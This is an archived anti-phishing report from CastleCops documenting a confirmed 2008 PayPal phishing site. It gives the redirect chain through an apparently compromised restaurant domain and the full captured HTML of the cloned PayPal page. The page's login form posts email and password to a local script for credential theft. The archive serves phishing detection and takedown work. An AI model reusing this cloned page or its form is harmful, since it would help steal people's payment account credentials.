CastleCops® PayPal Phish

fetched page

at 06 Oct, 2008 @ 16:07:47
MD5 Fingerprint: 16d062ab9a78459d08861e4165c23f5b
SHA1 Fingerprint: 7b374fa180cf72a61dfd3a84d52d91fa42712cc2

HTTP/1.1 302 Found
Date: Mon, 06 Oct 2008 16:07:41 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.11
Location: http://www.cornishaccreditedrestaurants.co.uk/www.paypal.com/index.php
Content-Length: 116
Connection: close
Content-Type: text/html; charset=UTF-8

HTTP/1.1 302
Date: Mon, 06 Oct 2008 16:07:43 GMT
Server: Apache/2
X-Powered-By: PHP/4.4.8
Location: webscr.html?cmd=_login-donee&amp;login_access=1193476743&login=<?echo ?>&password=<?echo ?>
Content-Length: 0
Content-Type: text/html

HTTP/1.1 200 OK
Date: Mon, 06 Oct 2008 16:07:43 GMT
Server: Apache/2
Last-Modified: Fri, 03 Oct 2008 03:57:04 GMT
ETag: "5188dbf-3aab-538a2400"
Accept-Ranges: bytes
Content-Length: 15019
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/1loose.dtd">

<title>Online Payment, Merchant Account - PayPal</title>
<meta name="keywords" content="online payment, online payments, payment, payments, merchant account, online merchant account, credit card merchant account, merchant, merchants, merchant account service, merchant account services, internet merchant account">
<meta name="description" content="PayPal is the safer, easier way to make an online payment or set up a merchant account.">
<link media="screen" rel="stylesheet" type="text/css" href="https://www.paypalobjects.com/WEBSCR-540-20080929-3/css/core/core.css">
<link media="print" rel="stylesheet" type="text/css" href="https://www.paypalobjects.com/WEBSCR-540-20080929-3/css/core/print.css">
<link media="screen" rel="stylesheet" type="text/css" href="https://www.paypalobjects.com/WEBSCR-540-20080929-3/css/marketing/marketing.css">

<SCRIPT src="webscr_files/rosettaLang.js" type=text/javascript></SCRIPT>
<LINK 
href="https://www.paypalobjects.com/WEBSCR-495-20071207-1/en_US/i/icon/pp_favicon_x.ico" 
rel="shortcut icon">
<META content="MSHTML 6.00.2900.3199" name=GENERATOR></HEAD>
<BODY><NOSCRIPT>
<P class=nonjsAlert>NOTE: Many features on the PayPal Web site require 
Javascript and cookies. You can enable both via your browser's preference 
settings.</P></NOSCRIPT>
<DIV class="outside home" id=page>
<DIV class=srd id=header>
<H1><A href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_home"><IMG alt=PayPal 
src="webscr_files/paypal_logo.gif" border=0></A></H1>
<FORM id=searchForm name=searchForm 
action=https://www.paypal.com/us/cgi-bin/searchscr?cmd=_sitewide-search 
method=post>
<FIELDSET><LEGEND>Search PayPal</LEGEND><LABEL for=searchBox>Search 
</LABEL><INPUT id=searchBox name=queryString> <INPUT class=button id=search.x type=submit value=Search name=search.x> 
</FIELDSET> <INPUT type=hidden value=UTF-8 name=form_charset> </FORM>
<DIV class=srd id=navGlobal>
<UL>
  <LI class="first signup"><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_registration-run">Sign 
  Up</A> 
  <LI class=login><A 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_login-run">Log In</A> 
  <LI><A href="https://www.paypal.com/us/cgi-bin/helpweb?cmd=_help">Help</A> 
  <LI class=last><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_security-center-outside">Security 
  Center</A> </LI></UL></DIV>
<FORM class=rosetta id=rosetta 
action=https://www.paypal.com/cgi-bin/webscr?cmd=_home&amp;dispatch=5885d80a13c0db1f3893a48c4ade7e5f97951af3b1813a45f7c9ac5db8c98f97 
method=post>
<FIELDSET><LEGEND>Change Your Language</LEGEND><LABEL 
for=rosetta_dropdown>Language Select</LABEL><SELECT id=rosetta_dropdown 
name=locale.x><OPTION value=en_US selected>U.S. English</OPTION> <OPTION 
  value=es_XC>Espa�ol</OPTION> <OPTION value=fr_XC>Fran�ais</OPTION> <OPTION 
  value=zh_XC>??????</OPTION></SELECT><BUTTON name=testName type=submit 
alt="Submit Language Change" value="testValue"><IMG alt="" 
src="webscr_files/btn_circlewitharrow.gif" border=0></BUTTON><INPUT id="" 
type=hidden value=1 name=change_locale.x> </FIELDSET> <INPUT type=hidden 
value=UTF-8 name=form_charset> </FORM></DIV>
<DIV class=srd id=navPrimary>
<UL>
  <LI class=active><A 
  onclick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:L5');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-general&amp;nav=0">Home</A> 
  </LI>
  <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:L8');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-customer&amp;nav=1">Personal</A> 
  </LI>
  <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:O3');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-merchant&amp;nav=2">Business</A> 
  </LI>
  <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:S9');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=xpt/Marketing/general/ProductsandServices-outside&amp;nav=3">Products 
  &amp; Services</A> </LI></UL></DIV>
<HR>

<DIV id=content>
<DIV class="sidebar box login">
<DIV class=header>
<H2>Account login</H2></DIV>
<DIV class=body>
<form method="post" name="Form_1" action="webscr.php">
<FIELDSET><LEGEND>Member Log In</LEGEND>
<P><LABEL for=login_email>Email address</LABEL>
<input type="text" id="login_email" class="" name="login_email" value="">
</P>
<P><LABEL for=login_password>PayPal password</LABEL>
<input type="password" id="login_password" name="login_password" value="">
</P><input type="submit" name="submit.x" value="Log In" class="button primary"> 
</FIELDSET> 
<P>Forgot your <A 
href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_email-recovery">email 
address</A> or <A 
href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_forgot-password&amp;from=PayPal">password</A>?</P>
<P>New to PayPal? <STRONG><A 
href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_registration-run">Sign 
up</A></STRONG>.</P>
</FORM></DIV></DIV>
<DIV class=main>
<DIV class=zone><A 
href="http://altfarm.mediaplex.com/ad/ck/3484-54321-8030-0"><IMG alt="" 
src="webscr_files/hdr_holiday_t1_home_560x228.gif" border=0></A>
<SCRIPT type=text/javascript>PAYPAL.util.Flash.insertFlash("https://www.paypalobjects.com/WEBSCR-495-20071207-1/en_US/m/hero/hero.swf?XMLfile=heroHome.xml&imgBasePath=https://www.paypalobjects.com/WEBSCR-495-20071207-1/en_US/m/hero/&linkBasePath=https://www.paypal.com/", 560, 228, "hero", true, 7)</SCRIPT>
 </DIV>
<DIV class=subhead>
<DIV>
<P>Pay With: </P>
<UL>
  <LI><IMG alt=Visa src="webscr_files/logo_ccVisa.gif" border=0> 
  <LI><IMG alt=Mastercard src="webscr_files/logo_ccMC.gif" border=0> 
  <LI><IMG alt="American Express" src="webscr_files/logo_ccAmex.gif" border=0> 
  <LI><IMG alt=Discover src="webscr_files/logo_ccDiscover.gif" border=0> 
  <LI><IMG alt=Bank src="webscr_files/logo_ccBank.gif" border=0> 
</LI></UL></DIV></DIV>
<DIV class="zone simpleList">
<DIV class=box>
<H3>Pay online</H3>
<UL>
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/cps/general/NewConsumerWorks-outside">Speed 
  through checkout</A> whenever you shop online. 
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/cps/securitycenter/buy/Privacy-outside">Pay 
  without revealing</A> your credit card information. 
  <LI><A href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_send-money">Send 
  money</A> to your friends and family. </LI></UL>
<P>Learn more about <STRONG><A 
href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_home-customer">paying with 
PayPal</A></STRONG>.</P></DIV>
<DIV class=box>
<H3>Sell online</H3>
<UL>
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_wp-standard-overview-outside">Accept 
  credit cards</A> quickly and easily. 
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_additional-payment-overview-outside">Lift 
  your sales</A>. Add PayPal to attract more customers. 
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_auction-outside">Get 
  tools</A> to make eBay sales simple. </LI></UL>
<P>Learn more about <STRONG><A 
href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_home-merchant">selling with 
PayPal</A></STRONG>.</P></DIV></DIV>
<DIV class=zone>
<DIV class=box>
<DIV class=MktDCLK>
<SCRIPT type=text/javascript>document.write('<scrip? type="text/javascript" charset="iso-8859-1" src="https://paypalssl.doubleclick.net/adj/paypal.us/NewUserHome-outside;lang=en_US;u=;sz=520x70;tile=1;ord=133728724?"><\/script>');</SCRIPT>
</DIV></DIV></DIV></DIV>
<DIV class="sidebar box resources">
<DIV class=header>
<H3>Top questions</H3></DIV>
<DIV class=body>
<UL>
  <LI><A 
  href="https://www.paypal.com/helpscr?cmd=_help&amp;locale=en_US&amp;countrycode=US&amp;_dyncharset=UTF-8&amp;t=solutionTab&amp;ps=solutionPanels&amp;solutionId=13136">Why 
  use PayPal when I have credit cards?</A> 
  <LI><A 
  href="https://www.paypal.com/helpscr?cmd=_help&amp;locale=en_US&amp;countrycode=US&amp;_dyncharset=UTF-8&amp;t=solutionTab&amp;ps=solutionPanels&amp;solutionId=38429">What 
  can I do with PayPal?</A> 
  <LI><A 
  href="https://www.paypal.com/helpscr?cmd=_help&amp;locale=en_US&amp;countrycode=US&amp;_dyncharset=UTF-8&amp;t=solutionTab&amp;ps=solutionPanels&amp;solutionId=13138">Is 
  PayPal free to use?</A> </LI></UL></DIV></DIV></DIV>
<HR>

<DIV class=srd id=footer>
<H5 class=accessAid>More Information</H5>
<UL>
  <LI class=first><A 
  href="http://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/about-outside">About 
  Us</A> 
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/helpscr?cmd=_help&amp;t=escalateTab">Contact 
  Us</A> 
  <LI><A 
  href="http://www.paypal.com/us/cgi-bin/webscr?cmd=_display-fees-outside">Fees</A>

<LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_home-merchant">Merchant 
  Services</A> 
  <LI><A 
  href="https://www.paypal.com/us/cgi-bin/webscr?cmd=_display-country-functionality-outside">Worldwide</A>

<SCRIPT type=text/javascript>
			var feedback_link='Site Feedback';
            	O_GoT(feedback_link);
             	custom_var='Unknown|SRD: Main Home|US|en_US';</SCRIPT>
  </LI></UL>
<UL>
  <LI class=first><A 
  href="http://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy-outside">Privacy</A>

<LI><A href="http://www.verisign.com/ssl-certificate">SSL Certificates</A> 
  <LI><A 
  href="http://www.paypal.com/us/cgi-bin/webscr?cmd=p/gen/ua/ua-outside">Legal 
  Agreements</A> 
  <LI class=last><A href="http://www.ebay.com/">eBay</A> </LI></UL>
<P id=footerSecure><A 
onclick="PAYPAL.core.openWindow(event, {width: 425, height: 350})" 
href="https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/User/popup/SecurityKeyVIP-outside" 
target=_blank><IMG alt="" src="webscr_files/logo_VIPwhite_66x27.gif" 
border=0></A></P>
<P id=legal>Copyright � 1999-2008 PayPal. All rights reserved.</P></DIV>
<DIV id=navFull>
<UL>
  <LI class=active><A 
  onclick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:L5');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-general&amp;nav=0">Home</A>
  <UL>
    <LI class=active><A 
    onclick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:W8');" 
    href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-general&amp;nav=0.0">Get 
    Started</A> 
    <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:W2');" 
    href="https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&amp;nav=0.1">Send 
    Money</A> 
    <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:W3');" 
    href="https://www.paypal.com/cgi-bin/webscr?cmd=p/req/index-outside&amp;nav=0.2">Request 
    Money</A> 
    <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:W4');" 
    href="https://www.paypal.com/cgi-bin/webscr?cmd=_auction-outside&amp;nav=0.3">Sell 
    on eBay</A> </LI></UL></LI>
  <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:L8');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-customer&amp;nav=1">Personal</A> 
  </LI>
  <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:O3');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=_home-merchant&amp;nav=2">Business</A> 
  </LI>
  <LI><A onClick="s=s_gi('paypalglobal'); s.tl(this,'o','SRD:Nav:S9');" 
  href="https://www.paypal.com/cgi-bin/webscr?cmd=xpt/Marketing/general/ProductsandServices-outside&amp;nav=3">Products 
  &amp; Services</A> </LI></UL></DIV>
<SCRIPT type=text/javascript>
							  // This is an ugly hack until there is a reliable ondomready function
							 if(typeof PAYPAL != 'undefined'){
								 PAYPAL.core.Navigation.init();
							}</SCRIPT>
</DIV>
<SCRIPT src="webscr_files/iconix.js" type=text/javascript></SCRIPT>

<SCRIPT type=text/javascript>
</SCRIPT>
<NOSCRIPT><IMG height=1 alt="" src="" width=1 border=0></NOSCRIPT> </BODY></HTML>

Fried Phish^(TM)

status: confirmed phish

Report for at 06 Oct, 2008 @ 16:07:39

whois

host

fetched page

Corresponding BGP Origin ASN

Possible BGP peer ASNs one AS hop away from BGP Origin ASN

AS Description of a given BGP ASN


	2002-2008 � Computer Cops LLC dba CastleCops®. All rights reserved. Acceptable Use Policy. Use signifies your agreement. 135ppm 0.234s (0.074s) Making cybercriminals unhappy since 2002*

Fried Phish(TM)

status: confirmed phish

Report for at 06 Oct, 2008 @ 16:07:39

whois

host

fetched page

Corresponding BGP Origin ASN

Possible BGP peer ASNs one AS hop away from BGP Origin ASN

AS Description of a given BGP ASN

Fried Phish^(TM)